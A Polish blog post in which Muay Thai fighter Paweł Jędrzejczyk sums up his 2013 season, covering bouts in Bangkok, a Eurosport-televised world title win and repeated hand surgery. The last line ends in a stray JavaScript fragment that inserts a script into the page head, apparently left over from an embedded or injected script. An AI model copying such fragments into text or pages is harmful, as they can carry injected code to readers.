Co cię nie zabije to wzmocni??

20.12.2013 / Paweł Jędrzejczyk / Sztuki walki

Zbliża się koniec roku czas więc podsumować wszystko co wydarzyło się w moim sportowym życiu.Można powiedzieć ze 13tka jest dla  mnie i szczęśliwa i pechowa.W styczniu udało mi się spełnić wielkie marzenie i dostałem szansę walki na legendarnym stadionie Lumpinee w Bangkoku.Cieszy mnie to bardzo bo  można powiedzieć „załapałem” się w ostatniej chwili.Wybudowano już nowy a stary zostanie wyburzony.Walke tą jednak przegrałem decyzja sędziów.W innym kraju można by się kłócić o werdykt ale Tajlandia rządzi się własnymi prawami.Nie mniej jednak za tą tak zwaną przegraną..oddałbym niejedno zwyciestwo.

WER_3436WER_3355WER_3321WER_3233Lumpinee

 

W marcu tego roku po raz kolejny udałem się do Bangkoku na Mistrzostwa Świata Muay Thai w kategorii PRO AM,czyli tzw półzawodowej.Walczy się bez kasków na dystansie 3 rund po 3 min.Walka od zawodowej różni sie tylko nazwą.Tu również sędziowie nie byli mi przychylni i mimo iż wygrałem co najmniej dwie rundy,za zwycięzcę uznano zawodnika z Danii.Impreza była na otwartym terenie tuż pod centrum Handlowym i skupiła seki kibiców.

Wer01 CIMG3086 522756_463821327020613_44883905_n[1]

Po powrocie,byłem już nieco podłamany..bo wiadomo..wynik idzie w świat!Zadzwonił Czarek Podraza i dostałem szansę walki o kolejny,czwarty już tytuł Zawodowego Mistrza Świata.Walka była transmitowana na Eurosporcie do około 50 krajów a pikanterii dodawał fakt,iż przeciwnikiem miał być Dimitar Iliew z Bułgarii.Wielokrotny mistrz świata muay thai z którym już miałem przyjemnosć walczyć 5 lat wcześniej .Przyszedł czas na rewanż.Przygotowałem się bardzo dobrze i zwycieżyłem jednogłośnie.Dimitar to bardzo niewygodny zawodnik…w slangu tzw. Złamas..czyli zawodnik walczący nieszablonowo.Ciężko się do takiego dobrać.Dla mnie był to ogromny sukces ponieważ zawsze chciałem walczyć na eurosporcie.Pech jednak w tym, że dwie ostatnie rundy walczyłem ze złamana kością śródręcza.Kość przemieściła się.Po operacji szybko wracałem do formy.Jestem zdania, że trenować trzeba zawsze bo Winner’s work is never done! zawsze jest coś do zrobienia.W listopadzie byłem już dobrze rozkręcony,ręka jednak pękła ponieważ jak się okazało kość była źle ustawiona.Szybka interwencja i dziś jestem po kolejnej operacji.Wstawiono mi tytanową płytkę i teraz już musi być dobrze. Na pewno nie będę się obijał,znowu wyjadę do Tajlandii poprawiać prace w klinczu i kopnięcia.Zanim ręka będzie gotowa do uderzeń, minie kilka ładnych miesięcy.Trzeba wszystko wygoic ale i poprawiać inne rzeczy.Przepadło kilka dobrych walk ale wierzę, że przysłowie co cie nie zabije to wzmocni ma jakiś ukryty sens;)W wakacje prawdopodobnie czeka mnie kolejna walka o tytuł,więc nie będzie czasu na przetarcia.

Steve Smoger DSC_1063 biggers-better-22-poland-photos-weigh-in-16

Reasumujac,jestem optymista i chyba 2013 był jednak szczęśliwy.To co się udało..nikt mi tego już nie zabierze:)

ze sportowym pozdrowieniem i życzeniami Wesołych Świąt

Wergi!d.getElementsByTagName(‚head’)[0].appendChild(s);